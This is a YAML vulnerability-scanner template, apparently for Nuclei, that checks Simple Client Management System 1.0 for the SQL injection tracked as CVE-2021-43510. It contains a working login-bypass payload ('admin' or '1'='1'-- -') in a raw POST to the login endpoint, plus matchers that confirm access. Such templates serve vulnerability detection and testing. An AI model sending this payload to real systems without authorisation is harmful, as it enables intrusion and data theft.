43 lines
1.3 KiB
YAML
43 lines
1.3 KiB
YAML
id: CVE-2021-43510
|
|
|
|
info:
|
|
name: Simple Client Management System 1.0 - SQL Injection
|
|
author: edoardottt
|
|
severity: critical
|
|
description: |
|
|
SQL Injection vulnerability exists in Sourcecodester Simple Client Management System 1.0 via the username field in login.php.
|
|
reference:
|
|
- https://github.com/r4hn1/Simple-Client-Management-System-Exploit/blob/main/CVE-2021-43510
|
|
- https://www.sourcecodester.com/php/15027/simple-client-management-system-php-source-code.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-43510
|
|
classification:
|
|
cve-id: CVE-2021-43510
|
|
metadata:
|
|
verified: true
|
|
tags: cve,cve2021,simpleclientmanagement,sqli
|
|
|
|
requests:
|
|
- raw:
|
|
- |
|
|
POST /classes/Login.php?f=login HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
username=admin'+or+'1'%3d'1'--+-&password=as
|
|
|
|
- |
|
|
GET / HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded
|
|
|
|
req-condition: true
|
|
cookie-reuse: true
|
|
matchers:
|
|
- type: dsl
|
|
dsl:
|
|
- 'contains(all_headers_1, "text/html")'
|
|
- 'status_code_1 == 200'
|
|
- 'contains(body_1, "{\"status\":\"success\"}")'
|
|
- 'contains(body_2, "Welcome to Simple Client")'
|
|
condition: and
|